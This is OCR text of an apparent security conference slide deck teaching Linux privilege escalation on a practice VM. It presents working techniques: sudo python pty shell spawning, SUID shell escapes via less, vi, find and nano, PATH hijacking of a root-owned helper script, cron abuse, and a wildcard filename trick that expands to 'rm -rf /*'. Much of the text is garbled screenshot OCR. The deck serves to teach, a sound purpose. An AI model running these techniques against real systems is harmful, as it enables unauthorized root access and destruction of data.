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PRIVILEGE ESCALATION

AND SO WE BEGIN



Privilege Escalation

Definition

« Using privileges of various agents to
gain access to resources

When does it come into play?

Framing

« Who's doing the execution?
« What are their privileges?

Two ways to escalate:

You're the agent - your current user
permissions are sufficient to execute
the command & do the thing

Something else is the agent - you get
something else to execute the
command under THEIR permissions,
which are sufficient to do the thing



EASY MODE

SO YOU'RE IN THE SERVER - NOW WHAT?



Before anything else A b ot oo o) 1

WhO a re yO U? . : :1£|;|-3:EIH‘|I:Ir|+I.- L o I bindmologin

“*hintdbin

whoami
d - e oinvoo]

e

1A ucp:

Where are you?
pwd

Cadmin): var/lib/gnats:usrdsbindnologi

tent:Ausrdshindnologin

Are you really really lucky?
cat /etc/shadow vs. cat /etc/passwd

cd /root

1ightdm:/bindFalse
‘binsbash




ezlosboxesz*™% ls —al Ahome

r||||1' -1-”-”' T—”|

Permissions

« Where do you have read access?

/home/

/usr/share/ iZ;LI_ITTEF'_IH_HI_IIlI_ILE-..:irru

ADG_GREETER_DATA_DIR=/var/1ib/]ightdwm—data/osboxes
ENV SELIMUX_INIT=YES
SAL_USE_WCLPLUGIN=gtk
ESSION=Lubuntu
LPEG _ ] :ﬁE”T_ INFQ=/runduser/ 1000 .-""ri.Ef!._{ "1 r'|E|—|-::_|:|=1|:|r'| d/ qP9: I:.I: 1
TERM=xterm
: SHELL=/bin/bash
« Where do you have write access? X0G_FENU. PREFIX
|||I“[||||||II|
/home/USER/.ssh UPSTART_S

/root/
/etc/crontab




1:’

sudo

sudo = super user do [something]

sudo -|
«  What commands can you execute?
« Do you need a password?

https://xkcd.com/838/ - Incident

robm@&homebox ~§ Sudo su

Possord:

robm is not inthe sudoers file.
This incident will be reported.

robm@homebox ~§ [

|

HEY — WHO DOES
SUDO REFPORT THESE.
INCIDENTS" 7D?

YOU KNOW, TVE
NEVER CHECKED.

\

O

|

i

T




osboxeslosboxes:™$ sudo -1
[sudo] password for osboxes:
Matching Detaults entries for osboxes on osboxes:
s u d O env_reset, mail_badpass,
secure_path=/usr/local /sbin\:/usr/local /bin\:/usr/sbin\t fusr/bin\: /sbin\t /bi
F

User osboxes may run the following commands on osboxes:
(ALL) ALL
o osboxeslosboxes:™$ cat Jetc/sudoers
sudo = super user do [something] Ryttt

osboxeslosboxes:™F sudo ||

sudo cat Afetc/sudoers
SUdO —l # Jetc/sudoers

#

° What commands can you execute? # This file MUST be edited with the 'visudo' command as root,

See the man page for details on how to write a sudoers file,

Do you need a password?

Defaults env_reset ,mail_badpass,secure_path=/usr/local/sbin\:/usr/local /bin
NeAusrdsbinhvAusr/bins e Ssbinh:/bin

cat /etc/sudoers # Host alias specification
e if readable, tells yOU which # lser alias specification
UserS/grOUpS fo ta rget # Cmnd alias specification
cat /etC/grOUp # User privilege specification
o i iliati root ALL=(HLL) ALL
lists users, IDs, group affiliations b exen ALL(ALLY ALL
leveld ALL=(ALL) NOPASSWD: Ausr/bin/python, /bin/cat
ozboxesBozboxesz:™$ cat Jetc/group

oot 2 :ﬁ:

daemontx:l?

sysixis:
adm:x:d4:syslog
btyixih:




sudo Exploit - Python

sudo -
« User has sudo permissions for python
» Without needing the password - excellent!

« Therefore can run python under root
permissions

sudo python -c ‘import
pty;pty.spawn(“/bin/bash”);’

* New shell spawned by python also
runs under root permissions

Dz Ausrsbindpython
“$ python -c "import pty:pty,spawn(”/bin/bash"):’

B
osboxesBosboxes:™$ python —c 'import pty:ptu.spawn("/bin/sh"):’
# whoami

I |:||:|t
1




Credential Reuse

Password reuse is RAMPANT

- web application passwords

« common/default passwords

nmap port scan or ps auf to see what's up

« known compromised passwords for
specific users

https://xkcd.com/792/ - Password Reuse

&

PASSWORD ENTROPY 15 || SET UP AWEBSERVICE | | BAM,YOU'VE GOTA
RARELY RELEVANT. THE| | TODGSOMETHING SIMPLE, | | FEW MILLION EMAILS,
REAL MOOERN DANGER | | LIKE IMAGE HOSTING OR | | DEFRULT USERNAMES,
IS PASSWORD REUSE. | | TWEET SYNDICATION, S0 | | AND PASSWORDS.
How 502 A FEW MILLION PECRLE
SET UP FREE ACGOUNTS,

| eo

¥

PECALE USE THE LIST AND SOME
msgﬁ%umgji PROMES TO TRY AUTOMATED
STRONG CR NOT, [0GINS TOTHE 20 OR 30
FOR MOST ACCOUNTS, MOST FOPULAR SITES, Alvs
BANKS AND PrYFR( AND SUCH.

TR
i
Ifhl;lg:ln“m

#
g
3

BANKS
FRCEBCoK,|
G
PRYRRL

TUMTER

YOUVE NOW GOT A FEw
HUNDRED THOUSAND REAL
IDENTITIES ON A FEW
DOZEN SERVICES, AND
NOBODY SUSPECTS ATHING.

_U) AND THEN

umé

WELL, THAT'S WHERE
I GoT STUCK

\WHY DiD YOU K
T HosTED S0 MANY
UN’RCFTTAB’.E

=7,

YoU DD"I"HJS"’

DRY-To-DAY
FNANCIAL
STRESS.

T COULD PRUBABLY NET A LOT OF MONEY,
ONE WY 0R ANOTHER, IF T DIDTHINGS
CAREFULLY. BUT RESERR(H SHOWS MoRE
MoNeY DOESN'T MAKE PEDALE HAPPIER,
DNCE THEY MAKE

ENOUGH To AVOID

T (oulD MESS WITH PEORLE || S0, HERE I S, A
ENDLESSLY, BUTL DOTHAT | | PUPPETMASTER WHO WANTS
ALREADY, T COULD GET A NOTHING FROM HIS FUPPETS.
POLITICAL. OR RELIGIOUS

IDEA 0uT T MosT TS THE SAME

OF THE WORLD, BUT PROGLEM OH?
SINCE MARCH OF GroGLE \.O N

1997 T DONT \_

REALY BELIEVE

OKAY, EVERYONE, WE CONTROL
THE WORLD'S INFORMATION,
NOW IT's TIME T TURN EVIL.

WHATS THE ALAN?  Make

OJ OF%

0/| | Soogte”

AASNOT Evie?

WE ALREADY CO!
/ SET UP A COMRANYWIDE

CeDH: MODERN WARFRRE
TOURNAMENT EACH WEEK?

00K, DIBS ON
\ THE LOGRY TV!

OKAY,
\JE SUH
AT THIS.




.bash_history

Any passwords entered into history?

Any interesting files or directories?

cat .bash_history vs history

.bash_history won't dump current
session data until session ends

history is a live dump of session

level 2Bosboxes: fhomesosboxes$ cat Hf+bﬁ5h_hiiturg
“/ bazh_history

acho "password: PEzswOrd with a zero" > ,secrets,txt
s -al
cat .secrets txt

s —al /bindless
which less
chmod u-g /bin/less
exit

ls =al /home/levels
sudo -1
exit

baeh_hiatng

i I:le /

l= -1

Jvar/tmp

Is -al
].-:: _EI].

» :qt « SECT |:et:-::* LT
gxit
l= —al /binfless

echo "password: PRBsswlOrd with a zero" > ,secrets,txt



/var/log

« Are any credentials stored in logs?

« Any other useful information?

Log files/dirs that are writeable can be
replaced by symlink.

When owning process tries to write to log,
will write to symlink instead.

Can be a way to output data somewhere
that you can read it.

BLA I A
S —
===
= ———
= r==r==
—Fh—F——F——
=Fu=r==r==
drwxr—xr—x
“rh=r==r==
drwxr R —x

“r-f=——==

“rw=r==—==
i i
drwxr—=xr—x
“rw=r==r==
“rw=r===—==
i U
=P p—p————

¢ 13 root
<« 13 root

1 -
1r
1 r
1 p
1 -
1r
1 p
1
1
1 p
1
1
1

[ S S S A
N

g adm

0g adn

oot
root
root

mysql
=ql

mysql
mysql
ntp

oot
oot
utmp
oot
oot
oot
adm
E:lj 1]
adm
adm
adm
E:lj m
oot
o0t
oot
™0 |:|t.
oot
o0t

g adm
0g adm

utmp
00T
adm
acm
adm
adm
acdm
nit P
oot

g adm

adm

:E adm

1 alternatives,log

4 auth, log

3 auth,log,l

/ boot,log

5 bootstrap,log

- IjF'lf.!EI " 1|:|E|
0 faillog
5 fontconfig, log

0239 kern, log

kern,log,l
astlog

; mysql ,err
; mysql, log




Easy Mode

1. Who/where are you Two ways to escalate:

2. What can you see/modify with

current permissions? 1. You're the agent - your current user

permissions are sufficient to execute
the command & do the thin
3. Look for: 5

1. sudo permissions
P 2. Something else is the agent - you get

something else to execute the
3. Leaked info from: command under THEIR permissions,
1. cat.bash_history which are sufficient to do the thing

2. Credential Reuse

2. /var/log files



SNEAKY MODE

FIND AND EXPLOIT SOME MISCONFIGURATIONS



osboxes@osboxes:™$ find / -perm -2000 -type f 2>/dev/null
Jsbindunix_chkpud
Jusr/sbin/uuidd
° Jusr/bin/crontab
SU I D/SG I D blts Jusr/bin/mlocate
Zusr/binsdot locktile
Fusr/bindssh-agent
Ausrsbinfwall
Ausr/bin/bsd-urite
Jusr/bin/mail-unlock

What is the SUID/SGID bit? /usr/bin/mail-lock

Ausrdbind¥

. . fusr/bindexpiry
How to find a SUID/SGID binary? /usr/bin/chage
fusr/bins/mail-touchlock
fusr/lib/1libvte-2,90-9/gnome-pty-helper
fusr/11b/1ibvteS/gnome-pty-helper
Jusr/lib/utempter/utempter
osboxesldosboxes:™% tind / -perm -4000 -type f 2>/dev/null
fusr/sbinfuuidd
Jusr/shin/pppd
fi Jusr/bin/find
ind / -perm -4000 [-type f] 2>/dev/null Zusr¢bin/traceroutet. iputils
fusr/bin/lppassud
Ausr/bindsudo
. Jusr/bindpython2, 7
* What runs in the root group? fusr/bindchfn
) Ausr/bin/vim,tiny
find / -perm -g=s [-type f] 2>/dev/null fusr/bin/mtr
Ausr/bin/chsh
find / -perm -2000 [-type f] 2>/dev/null /usr/bin/neuarp
Ausr/bindpkexec
fusr/bin/gpassud
susr/bindK
Jusr/bindmysql
Ausr/bindpassud
Jusr/lib/dbus-1, 0/dbus-daemon—1aunch-helper
susr/ lib/openssh/ssh-keysign
Jusr/1ib/pt_chown
fusr/lib/policykit-1/polkit-agent-helper-1
fusr/lib/eject/dmcrypt-get-device

« What runs as the root user?
find / -perm -u=s [-type f] 2>/dev/null



osboxes@osboxes:™$ find / -perm -u=s -type f 2>/dev/null
Jusr/sbinduuidd
fusrdsbindpppd

e Ausr/bindfind
U I D/ I D Its fusr/bin/tracerouteb, iputils

dusr/bin/ lppasswd

Ausr/bindsudo

fusr/bin/python, 7

Ausr/bin/chfn

dusr/bindvim,tiny

« What are “normal” SUID programs vs fusr/bin/utr.

ones that are exploitable? fusr fbin/neerp

FLUST DL RREXSL

fusr/bin/gpasswd

Ausr/bind¥

fusr/bin/mysql

/usr/bin/passud
Jusr/1ib/dbus-1,0/dbus-daemon-1aunch-helper
Try shell esca pe or /usr/lib/openssh/ssh-keysign
fusr/1ib/pt_choun
dusrdlib/policykit=1/polkit-agent-helper-1
Jusr/libs/eject/dmcrypt-get-device
/bin/nano

) ) ) /bindsu

Custom script to make an admin’s life easy? /bin/mount

/bin/ping

Try PATH =.. ainyumnt

especially if the script makes a call to an alias [EgIteEs

/bin/fusermount

Also watch for wildcards /bin/more _ R
osboxesRosboxes:™% find / -perm -g=z -type f 2>/dev/null
/sbindunix_chkpud

fusr/sbin/uuidd

fusr/bin/crontab

Ausr/bin/mlocate

susr/bin/dotlockfile

fusr/bindssh-agent

fusr/binfuwall

Ausr/bin/bsd-urite

Standard Linux utility?

command option argument




Shell escapes

less lcmd
more lcmd
:lcmnd
Vi lcmd
mysql system cmd
\! cmd

AND MANY MORE

https://www.mariowiki.com/File:Koopa_Troopa_Artwork_-
_Super_Mario_3D_World.png



0% sboxes:™% find / —-perm —4000 -type f -ex s —al 1} ¢ 2x/dev/rull
- SIS =X ]_ 1 1|:I|“J:|.Ij | 1|:I|“J:|.Ij ]_' 13 LIg 5 11 A i dd
Cmd option arguments e e e e
- - oy rllllf ~0of; J&0 u] : =r -.j.rld
i ~=x 1 root root 4 May 7 201 in/traceroutet, iputils
raot 1ps : y Jun 4 B, 1|:|:| s=wd
oot oo j 0
root roo
oot roo
root adwvg
oot roo
root roo
" % 1 root roo
0 S s = root root
fl nd 'exec CM D \; i ¥ 1 root roo
- « 1 root roo
root roo
root ro

awk {system(“CMD")y R
" x 1 root root
:"Eu:lt. root eb 2 AL ]
root root 14768 F 4 2015 Jusr/lib/policykit-1/polkit-agent-help

Binary

AND MANY MORE

root root = 25 201 d 'Illtl I '||-| t/ |j[||| N |":1' _4,-1- d,.. 1ice
root root . 1 .

root root

root root S

root root 4

root root

root root B

root roo




SUID Exploit

Nano is another common executable

If nano has a SUID bit set to root, can
force an escape to root shell

Exploit: osboxesldosboxes:™$ which nano
1. C.reat.e a tempora ry I:II:‘EI::I-Eilr_i:I:IhH-P:I lz -al /usr/bin/nano
file with shell cmd lrwerwxrwx 1 root root 9 Sep 12 2015 Afusr/bindnano -> /bin/nano
2. open nano with temp osboxesldosboxes:™% ls -al /bin/
file set as spell-check |iu
reference yshoxest sh' > §TF
3. run spell-check to -

1 2012 /bindnano

osboxesldosboxes:™¥ nano -s $TF Jetc/hosts

execute cnd under [

rOOt permISSIO . j 1 . [:-”: I;I:E:I:II:I :I._E!E_':l . i :_‘|_ " [:.”:; nsho ;:._'Ee:z..:l sl |:|:[:.||: oot 'I gr ,:,|_1|:.:5::I..] |:- I |:||:|t_':l , .:-il cdro r|'|.:| » .:Tl :_-:.I_J |
o),30(dip),46(plugdey),108( lpadmin) . 1181 sambashare ) ,400( testgrp ), 1000 0sboxes )

# whoami




Path =.

Path is an environment variable telling the
OS where to look for an aliased binary

Instead of typing /bin/Is every time,
you can just type Is

Use case: Prank the Admin

Bill knows that his supervisor Sue has
her PATH =,

Writes a script to prank her, names it Is,
sticks it in his /home/BILL/ directory

Asks Sue why Is isn't working in his ~

Sue runs Is in /home/BILL/ and executes
the prank script instead of /bin/Is binary



Path =.

Not easy during assessment to know which
users have PATH =,

HOWEVER!

Custom script on the web server might
execute call to aliased program

calling cat $FILE instead of /bin/cat $FILE

If it runs under root privs, you can exploit it

Use case: helperSH Exploit

« helperSH is a custom script on the web
server that makes life easy for an
admin; SUID as root

« Command within the script executes
something recognizable (like ps)

* In writeable dir, make new file
echo “/bin/sh” > ps

e Setown PATH =.

« Execute script from writeable dir



Use case: helperSH Exploit

« helperSH is a custom script on the web
server that makes life easy for an

0100 bash admin; SUID as root

F._.
$ cd Jtmp e .
twp$ echo $PATH « Command within the script executes

sfusr/local /bing fusr/sbin: /usr/bin:/sbin:/bin: /usr/games : /usr/loc ) ) )
something recognizable (like ps)

xes:/tmp$ PATH=,: ${PATH}
tm F"I echo $PATH

 |n writeable dir, make new file
'tmp$ echo "/bin/sh" > ps echo “/bin/sh” > PS

tmp$ chmod +x ps
e Setown PATH =.

sStmpd ps

xes:/twp$ /usr/share/helperSH « Execute script from writeable dir




Wildcards

When using * wildcard, Unix shell
interprets -FILENAME as command option
argument

Meaning you can

submit command options
through file name

when running a wildcard process

Keep an eye out for wildcards in
custom scripts, cron jobs, executables

chown example

files in a given dir include:
FileRef.php
--reference=.FileRef.php

when root executes the following:
chown -R nobody:nobody *.php

becomes:
chown -R nobody:nobody --reference=.FileRef.php

User:group permissions of .FileRef.php are
mapped onto every file in the directory



Wildcards

When using * wildcard, Unix shell
interprets -FILENAME as command option

argument

Meaning you can

submit command options
through file name

when running a wildcard process

Keep an eye out for wildcards in
custom scripts, cron jobs, executables

NOTE -
EXPLOIT BELOW DELETES THE FILESYSTEM

cd /tmp
echo “blah” > “-rf /*"

rm=*

When rm * gets to -rf /* file, command
becomes rm -rf /*

Which recursively deletes everything on
the filesystem, starting at /



Sheaky Mode

RECAP

SUID/SGID bits

1. Shell escapes

2. Cmd option arguments
3. PATH =.

Wildcards

Two ways to escalate:

1. You're the agent - your current user
permissions are sufficient to execute
the command & do the thing

2. Something else is the agent - you get

26



BOSS MODE

THESE WILL TAKE SOME TIME TO GET RIGHT



cron

Cron jobs are cmds executed on a schedule
Almost always run under root permissions

« /etc/cron.allow & /etc/cron.deny specify user privs

Cron takes a file; file tells it what to execute
and when

e /etc/crontab

Related: at, batch (one-time execution)

« How to exploit?

1. Overwrite /etc/crontab
2. Write to a cron dir (priv misconfig)

3. If the what is vulnerable, might be able to

modify or hit something downstream

4. Cron jobs may also have exploitable

wildcards



.r'1.:“-549

Jetefcrontab

i 0T thllldH nrn-nf1b
# Unlike any oth rontab Yo jnn t hav
# command to install the new »

# and files in /etc/cron,d, Th fllP
# that none ot the other crontabs do,

e to run the crontab'
you edit this file
also have username fields,

SHELL=/bin/sh
PATH=/usr/local /sbin:/usr/local /bin: /=bin: /bin: fusr/sbin: Ausr/bin
#m h dDW LEn g dDm Lzer
17 * * % % proot
256 root
Jetc/eron,daily )
47 & %7 root
. Jetc/eron,weekly )
? B 1 ** root
Jetcd/oron,monthly )

command
X ——PEPDPt HEthBPDﬂ+hDuPlH

* & % Janacron |l § cd /

indanacron |1 ( cd /

indanacron |1 { cd /

2012 /bindnano

& run-parts
&t run-parts

& run-parts

==repor

--repor

==repor

« How to exploit?

1.

Overwrite /etc/crontab (SUID on nano!)
Write to a cron dir (priv misconfig)

If the what is vulnerable, might be able to
modify or hit something downstream

Cron jobs may also have exploitable
wildcards



cron

osboxesldosboxes:"™% lz -al Jetc | grep cron o it?
-rw-r--r-— 1 root root 401 Feb 20 2014 ana tab How to EXPIOIt.

druxr-xr-x 2 root root 4096 Feb 15 20:16 .d
druwxr—xr-x 2 root root 4096 Aug 5 2015 Jdaily _
drucruxr-x 2 root testgrp 4096 Feb 15 18:01 Jhourly 1. Overwrite /etc/crontab
druxr=xr-x 2 root root 4036 Aug 5 2015 monthly . . . . .
-ru-r--r-— 1 root root 722 Feb 15 17:49 tab 2. Write to a cron dir (priv misconfig)
druwxr=xr-x 2 root root 4096 Aug 5 2015 Jeekly : .
osboxesBoshoxes:™$ s -al Jetcseron.hourly ' 3. If the what is vulnerable, might be able to
total 20 modify or hit something downstream
drwxrwxr-x 2 root testgrp 4036 Feb 15 18:01 . _
druxr—xr-x 121 root root 12288 Feb 18 20351 4, Cron jobs may also have exploitable
“ru-r--r-— 1 root root 102 Feb 3 i

- wildcards
shoxeslosboxes ™% touch Jetc/cron. hourly testFile

_IEhDEE::”f ls -al Aetc/cron, hourly

|jr' = : oot test arp -'.1.I::'IE| E; FE'I:I 1:5: :l :'-jl'.]

drwxr-xr-x 121 root root 2208 Feb 18 20351

-ru-r--r-= 1 root root 102 Feb 3 2013 ,placeholder
- =ru=-r—— 1 osboxes osboxes 0 Feb 18 21:50 teztFile
osboxesBosboxes:™$ |}




FLmps

? root root 196 Fehb
xr=xr-x 121 root root Feb 1!

-rw-r--r-- 1 root root Feb 2 anacron

“rw-r—-r-= 1 root root 349 Feb 1! ! cleanTrash

-ry=r——r-— root root 194 Feb 15 lvldhelper

5 1 root root 102 Feb 9 5 |:1"F'|"III|1I1‘|E!F
Jtmp$ cat fwf-furun.d cleanTrash

JcleanTrash: crontab entries fnr cleanTrash

SHELL=/b i /<h - How to exploit?
PATH=/usr/local/sbin:/usr/local /bini/sbini/bint/usr/sbin: /usr/bin

20k e N raot Jusris T sh—oshoxes
©wwa [oor qusres .j-jjﬁ _-Ej rash- j- 1. Overwrite /etc/crontab

oot fusr/sbiry 2. Write to a cron dir (priv misconfig)

Jus r-"l:-1r| | grep

18 21268 o] o 3. If the what is vulnerable, might be able to
18 modify or hit something downstream

16 18:56 -osboxes 4. Cron JObS may also have eXp|O|tab|e

wildcards

system( " /bindsh" )
return 0%

"‘.-"'1'r|||:i' |_||| |_||-1"r||||1"

|::}'|[|'||:||j L+s

} 22:05 getroot

g EL:HF getroot




Kernel Exploits

Magic bullet: what if we just compromise
the server OS itself??!

Downside: there might be exploits that you
need to grab & compile & debug

NOTE: not-small risk of bricking the server

LSB_RELEASE -A

UNAME -A



Boss Mode

Cron jobs

1. /etc/crontab

2. writeable cron dir

3. affect process downstream

Kernel exploits

Two ways to escalate:

1. You're the agent - your current user
permissions are sufficient to execute
the command & do the thing

2. Something else is the agent - you get
something else to execute the
command under THEIR permissions,
which are sufficient to do the thing
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THAT'S ONE IN THE BANK

LET ME SUM UP



Summary

Typical goal in server:
persistence + privilege escalation

Linux tends to be consistent in its core utilities;
get familiar with what's there and where it lives,
and spotting vulnerable paths gets a lot easier

- Are you the agent? Drop into a root shell &
give yourself persistence

* Is something else the agent? Need an

intermediate step - get something to help
you out

- Easy mode
* Who are you?
» Where are you?

« What can you do?

* Snheaky mode

 SUID/SGID bits:
shell escapes, cmd option args, PATH = .

« Wildcards
« Boss mode
« Cron jobs

« Kernel exploits



Resources & Contact

 https://payatu.com/guide-linux-privilege-escalation/

 http://www.securitysift.com/download/
linuxprivchecker.py

* https://exploit-db.com

 https://www.linode.com/docs/tools-reference/linux-users-
and-groups/

 https://resources.infosecinstitute.com/
privilege-escalation-linux-live-examples/

 https://www.hackingarticles.in/exploiting-wildcard-for-
privilege-escalation/

 https://percussiveelbow.github.io/linux-privesc/

kbroussard@bishopfox.com
@grazhacks on Twitter

SLIDE DECK

http://github.com/
grazhacks/BSidesCMH2019

PRACTICE VM

http://bit.ly/
BSidesCMH2019



Thank You! kbroussard@bishopfox.com
@grazhacks on Twitter

SLIDE DECK
http://github.com/
grazhacks/BSidesCMH2019

PRACTICE VM
http://bit.ly/
Questions? BSidesCMH2019

BISHOP FOX.



